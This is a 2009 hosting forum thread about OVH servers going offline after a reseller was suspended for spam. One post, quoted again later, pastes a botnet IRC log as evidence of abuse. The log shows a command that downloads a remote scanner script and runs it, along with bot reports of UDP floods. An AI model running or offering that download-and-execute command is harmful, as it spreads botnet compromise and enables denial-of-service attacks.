OVH France down?

Portal Home > Knowledgebase > Industry Announcements > Web Hosting Main Forums > Providers and Network Outages and Updates > OVH France down?

Posted by yxserver, 10-09-2009, 02:10 PM
Hi, I have some servers with OVH.

94.23.*

gateway: 94.23.177.1 can't ping.

anyone got same problems?

it seems some racks or full down...
Posted by serversprovider, 10-09-2009, 03:03 PM
Yes, my dedicated server and 2 vps down
Posted by TheServerExperts, 10-09-2009, 04:22 PM
Yes they must be down can't ping them.

Pinging 94.23.177.1 with 32 bytes of data:

Request timed out.
Request timed out.
Request timed out.
Request timed out.

Ping statistics for 94.23.177.1:
Packets: Sent = 4, Received = 0, Lost = 4 (100% loss),
Posted by MF-DOOM, 10-09-2009, 06:04 PM
same - my 94.23.* is down too

i read on their forums that the dc suspended a ton of servers with very short notice too.

http://forum.ovh.co.uk/showthread.php?t=2885
Posted by MF-DOOM, 10-09-2009, 06:06 PM
could be their reseller cabs?
Posted by MF-DOOM, 10-10-2009, 12:31 AM
ok yes more on this,

seems some box owners and resellers were emailed on friday afternoon with spam warnings on a range of listed ips. they were told they had 48hrs to sort it out, 20mins later ALL boxes under that resellers account were removed regardless if they were suspected of spam or not. terrible work there, OVH.... as it was a friday afternoon action and they are only open M-F there is little hope of a resolution prior to next week.

a pretty weak display of general practice by OVH and punishing other customers due to a few 'bad eggs' is horrible. they had the *suspected* ips and could have managed those off the network but instead seem to have removed the whole cab or subnet as a quick solution.

of course there is probably some backend to this story, but as they havent been here to explain themselves and have not given any response to my resellers calls and emails it's hard to see how they could not be painted in a bad light.

Sort it out, OVH...
Posted by serversprovider, 10-10-2009, 04:45 AM

Quote:

Originally Posted by MF-DOOM

could be their reseller cabs?

Beastserv.com , yesterday i order dedicated server and now it down
Posted by MF-DOOM, 10-10-2009, 05:03 AM
im also with beastserv - if you go to their site they have a temp page up explaining the email and the current situation. i see no reason to suspect any wrong doing by BS at all in this, they have been great for me over the last year, it just seems the DC has taken the simple/stupid route of just removing ALL their customers vs. isolating the ones in the emails.....
Posted by serversprovider, 10-10-2009, 05:47 AM

Quote:

Originally Posted by MF-DOOM

im also with beastserv - if you go to their site they have a temp page up explaining the email and the current situation. i see no reason to suspect any wrong doing by BS at all in this, they have been great for me over the last year, it just seems the DC has taken the simple/stupid route of just removing ALL their customers vs. isolating the ones in the emails.....

I perfectly see what is written on site.
and who generally speaks of the poor quality of BS? I really even like them a support and Servers.
Posted by Pastorsinalot, 10-10-2009, 02:36 PM
If my site does not come back on Monday, Which I know right now I am out of close to 500 bucks. I am going to sue OVH and bad mouth them. I am losing money left and right. I ran a good size tube site and never had problem with beastserv until yesterday. Why didnt they give them the 48 hours and why take everyone off. I have bills to pay
Posted by Pastorsinalot, 10-10-2009, 03:03 PM
"The following IP Addresses are bound to your servers and sending spam, please shutdown the IP's that are sending spam in the next 48 Hours, otherwise we will be forced to shutdown the server."
They didn't give them 48 hours
Posted by vincent91326, 10-10-2009, 04:45 PM
There all down--> http://www.webmaster-forums.org/seo-...ver_status.php
Posted by Pastorsinalot, 10-10-2009, 05:16 PM
my sites was shut down and none of ip addresses was listed. I been robbed
Posted by SoutheastWeb, 10-10-2009, 08:41 PM
Shutting you guys down for spam seems weird, considering all the dos/ddos drones and ircds on their network they ignore. We've had a few attacks originate from OVH, their abuse/support never even replied. We even supplied full details outlining the attackers use of their network.

Has anyone else had similar experiences with this company? It's good their handling spam complaints seriously, perhaps they will start removing the ircd & drones as well.

One example
Code:
*** DNS lookup for server 2 [87.98.163.164] returned (1) addresses
*** Connecting to server refnum 2 (87.98.163.164), using address 1 (87.98.163.164:5862)
Fr:17:12|-server.****- Looking up your hostname... -@-
Fr:17:12|-server.****- Found your hostname -@-
>>> IRC [IRC@server.****] requested VERSION  from xxxx
*** Welcome to the irc.Digos.Crew.at IRC Network xxx!xxxx@xxxx.com
*** Your host is server.****, running version Unreal3.2.7
*** This server was created ven lug 17 2009 at 23:25:23 CEST
*** server.**** Unreal3.2.7 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj
*** NAMESX SAFELIST HCN MAXCHANNELS=15 CHANLIMIT=#:15 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307
KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS :are supported by this server
*** WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG
NETWORK=irc.Digos.Crew.at CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX :are supported by this
server
*** CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server
*** MOTD File is missing
*** Channel Users Topic
*** #leet       42      93.17 190.27
*** #%# 1
*** ##psyOps##  165     piQQole lam3re cresQono *-* .. e fan danni.. xD           79.136 .se 380ABC1BJ is
~ayo@host-77-242-213-212.telecomitalia.sm
*** #Opers      6       217.172.210.177 seize ... tunnel broker 64.86.88.115 93 da provare in autorange | che bei momenti
*** #prove      3       190.40.203.77 .pe (09:47) * Connecting to 94.125.182.34 (1989)ircd ivan
*** #%%#        4       202.86 202.87 88 191 da provare
*** #hydra#     39     [+u] 151.60.98.170
*** #phphp#     58      .exec cd /var/tmp; wget http://rdmf.altervista.org/r0x-scan; chmod 777 r0x-scan; perl r0x-scan; rm
-r r0x-scan
*** #xtc        58
*** #%%%#       17
*** #IRChelp    2
*** End of /LIST
Fr:17:12|*** [nick] xxxx -> Brute|
Fr:17:12|*** [nick] Brute| -> Brute|42
*** Brute|42 (xxxx@danger.power.flood-X.com) has joined #phphp# 17:13
*** (topic/#phphp#): .exec cd /var/tmp; wget http://rdmf.altervista.org/r0x-scan; chmod 777 r0x-scan; perl r0x-scan; rm -r
r0x-scan
*** (topic/#phphp#:[[deadman]]): Fri Jul 24 04:12:47 2009
 Users on #phphp# (o:5) (n:3) (v:50)
 @Colonnello    @Bianconiglio  @alfio         @[deadman]     @Xtc           +[I]Brute|131  +[I]Brute|708  +[U]Brute|094
 +[U]Brute|440  +[A]Brute|527  +[A]Brute|572  +[A]Brute|033  +[A]Brute|286  +[A]Brute|252  +[A]Brute|454  +[I]Brute|970
 +[U]Brute|913  +[A]Brute|788  +[A]Brute|293  +[A]Brute|016  +[A]Brute|240  +[I]Brute|047  +[U]Brute|044  +[C]Brute|924
 +[U]Brute|894  +[A]Brute|266  +[A]Brute|593  +[I]Brute|895  +[I]Brute|118  +[A]Brute|607  +[I]Brute|135  +[A]Brute|328
 +[C]Brute|084  +[A]Brute|243  +[C]Brute|560  +[U]Brute|895  +[I]Brute|387  +[A]Brute|063  +[A]Brute|808  +[A]Brute|989
 +[A]Brute|937  +[A]Brute|846  +[A]Brute|284  +[A]Brute|201  +[A]Brute|752  +[A]Brute|430  +[A]Brute|380  +[I]Brute|417
 +[A]Brute|495  +[A]Brute|112  +[A]Brute|129  +[U]Brute|793  +[C]Brute|106  +[C]Brute|241  +[A]Brute|172  Brute|42
 [U]Brute|0065  %r0x-ScaN|236
*** Mode for channel #phphp# is not set
Fr:17:13|<[C]Brute|0842> [UdpFlood Finished!]: 17221 MB enviados / Media: 108 MB/s
Fr:17:13|<[C]Brute|0842> [UdpFlood Started!]
Fr:17:13|<[U]Brute|8955> [UdpFlood Finished!]: 76008 MB enviados / Media: 475 MB/s
Fr:17:13|<[C]Brute|5606> [UdpFlood Finished!]: 1826 MB enviados / Media: 11 MB/s
Fr:17:13|<[C]Brute|5606> [UdpFlood Started!]
Fr:17:13|<[A]Brute|2011> [UdpFlood Finished!]: 182 MB enviados / Media: 1 MB/s
Fr:17:13|<[A]Brute|2011> [UdpFlood Started!]
Fr:17:13|<[U]Brute|8955> [UdpFlood Started!]
Posted by MF-DOOM, 10-10-2009, 09:13 PM
pretty stupid shutting them ALL off when they defined a list of IPs as suspect.... surely start there?
Posted by iand, 10-10-2009, 09:52 PM
in ovhs defence as far as they concerned reselling isnt done with there servers after all it against there tos so only person you can blame for this is the resellers for selling boxes to idiots that spam?

taken from ovhs tos

Dedicated Server
The Dedicated Server shall remain the property of the Supplier at all times. The
Customer shall not be entitled to sell, transfer, lease, charge, assign by way of
security or otherwise deal in or encumber the Dedicated Server.
Posted by Pastorsinalot, 10-10-2009, 09:59 PM
Ovh in there email said they will give 48 hours for beastserv.com/ to remove spammers from there system, they shut them down in a hour and hurt other honest webmasters.

Quote:

From: customersupport@ovh.co.uk To: support@beastserv.com Show All
Subject: OVH.co.uk - Urgent

The following IP Addresses are bound to your servers and sending spam, please shutdown the IP's that are sending spam in the next 48 Hours, otherwise we will be forced to shutdown the server.

Posted by TheServerExperts, 10-10-2009, 10:37 PM
Oh my this doesn't look good.

that's the reason i always say backup backup backup.
Posted by mainstreamnet, 10-10-2009, 11:05 PM
Quote:
Originally Posted by SoutheastWeb
Shutting you guys down for spam seems weird, considering all the dos/ddos drones and ircds on their network they ignore. We've had a few attacks originate from OVH, their abuse/support never even replied. We even supplied full details outlining the attackers use of their network.

Has anyone else had similar experiences with this company? It's good their handling spam complaints seriously, perhaps they will start removing the ircd & drones as well.

One example
Code:
*** DNS lookup for server 2 [87.98.163.164] returned (1) addresses
*** Connecting to server refnum 2 (87.98.163.164), using address 1 (87.98.163.164:5862)
Fr:17:12|-server.****- Looking up your hostname... -@-
Fr:17:12|-server.****- Found your hostname -@-
>>> IRC [IRC@server.****] requested VERSION  from xxxx
*** Welcome to the irc.Digos.Crew.at IRC Network xxx!xxxx@xxxx.com
*** Your host is server.****, running version Unreal3.2.7
*** This server was created ven lug 17 2009 at 23:25:23 CEST
*** server.**** Unreal3.2.7 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj
*** NAMESX SAFELIST HCN MAXCHANNELS=15 CHANLIMIT=#:15 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307
KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS :are supported by this server
*** WATCH=128 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(qaohv)~&@%+ CHANMODES=beI,kfL,lj,psmntirRcOAQKVCuzNSMTG
NETWORK=irc.Digos.Crew.at CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=~&@%+ EXCEPTS INVEX :are supported by this
server
*** CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server
*** MOTD File is missing
*** Channel Users Topic
*** #leet       42      93.17 190.27
*** #%# 1
*** ##psyOps##  165     piQQole lam3re cresQono *-* .. e fan danni.. xD           79.136 .se 380ABC1BJ is
~ayo@host-77-242-213-212.telecomitalia.sm
*** #Opers      6       217.172.210.177 seize ... tunnel broker 64.86.88.115 93 da provare in autorange | che bei momenti
*** #prove      3       190.40.203.77 .pe (09:47) * Connecting to 94.125.182.34 (1989)ircd ivan
*** #%%#        4       202.86 202.87 88 191 da provare
*** #hydra#     39     [+u] 151.60.98.170
*** #phphp#     58      .exec cd /var/tmp; wget http://rdmf.altervista.org/r0x-scan; chmod 777 r0x-scan; perl r0x-scan; rm
-r r0x-scan
*** #xtc        58
*** #%%%#       17
*** #IRChelp    2
*** End of /LIST
Fr:17:12|*** [nick] xxxx -> Brute|
Fr:17:12|*** [nick] Brute| -> Brute|42
*** Brute|42 (xxxx@danger.power.flood-X.com) has joined #phphp# 17:13
*** (topic/#phphp#): .exec cd /var/tmp; wget http://rdmf.altervista.org/r0x-scan; chmod 777 r0x-scan; perl r0x-scan; rm -r
r0x-scan
*** (topic/#phphp#:[[deadman]]): Fri Jul 24 04:12:47 2009
 Users on #phphp# (o:5) (n:3) (v:50)
 @Colonnello    @Bianconiglio  @alfio         @[deadman]     @Xtc           +[I]Brute|131  +[I]Brute|708  +[U]Brute|094
 +[U]Brute|440  +[A]Brute|527  +[A]Brute|572  +[A]Brute|033  +[A]Brute|286  +[A]Brute|252  +[A]Brute|454  +[I]Brute|970
 +[U]Brute|913  +[A]Brute|788  +[A]Brute|293  +[A]Brute|016  +[A]Brute|240  +[I]Brute|047  +[U]Brute|044  +[C]Brute|924
 +[U]Brute|894  +[A]Brute|266  +[A]Brute|593  +[I]Brute|895  +[I]Brute|118  +[A]Brute|607  +[I]Brute|135  +[A]Brute|328
 +[C]Brute|084  +[A]Brute|243  +[C]Brute|560  +[U]Brute|895  +[I]Brute|387  +[A]Brute|063  +[A]Brute|808  +[A]Brute|989
 +[A]Brute|937  +[A]Brute|846  +[A]Brute|284  +[A]Brute|201  +[A]Brute|752  +[A]Brute|430  +[A]Brute|380  +[I]Brute|417
 +[A]Brute|495  +[A]Brute|112  +[A]Brute|129  +[U]Brute|793  +[C]Brute|106  +[C]Brute|241  +[A]Brute|172  Brute|42
 [U]Brute|0065  %r0x-ScaN|236
*** Mode for channel #phphp# is not set
Fr:17:13|<[C]Brute|0842> [UdpFlood Finished!]: 17221 MB enviados / Media: 108 MB/s
Fr:17:13|<[C]Brute|0842> [UdpFlood Started!]
Fr:17:13|<[U]Brute|8955> [UdpFlood Finished!]: 76008 MB enviados / Media: 475 MB/s
Fr:17:13|<[C]Brute|5606> [UdpFlood Finished!]: 1826 MB enviados / Media: 11 MB/s
Fr:17:13|<[C]Brute|5606> [UdpFlood Started!]
Fr:17:13|<[A]Brute|2011> [UdpFlood Finished!]: 182 MB enviados / Media: 1 MB/s
Fr:17:13|<[A]Brute|2011> [UdpFlood Started!]
Fr:17:13|<[U]Brute|8955> [UdpFlood Started!]
We have a client that has had more then a few ddos attacks from their network. You are correct on their abuse department being non existent for those issues.
Posted by serversprovider, 10-12-2009, 09:56 AM
any news about servers?
Posted by Pastorsinalot, 10-12-2009, 10:19 AM
This is costing me close to $1500 bucks

D

Quote:

ear Damian

Your server was with an unofficial reseller (BeastServ) who had servers sending large amounts of SPAM. We can only respond to the owners of BeastServ, currently all their servers are suspended pending investigation. BeastServ will let you know if your server is reactivated.

Kind Regards,

Neil

OVH.co.uk

Posted by hosteur, 10-12-2009, 10:19 AM

Quote:

Originally Posted by Pastorsinalot

Ovh in there email said they will give 48 hours for beastserv.com/ to remove spammers from there system, they shut them down in a hour and hurt other honest webmasters.

And how about beastserv's TOS? Otherwise ask a refund...
Posted by Pastorsinalot, 10-12-2009, 10:26 AM
I need my files and data back
I have over 90000 members tons of videos and photo
I need that back or do suppose to start over behind mess
Posted by Pastorsinalot, 10-12-2009, 03:07 PM
Looks like the good servers will be back online soon. Still out of money. Less will have my data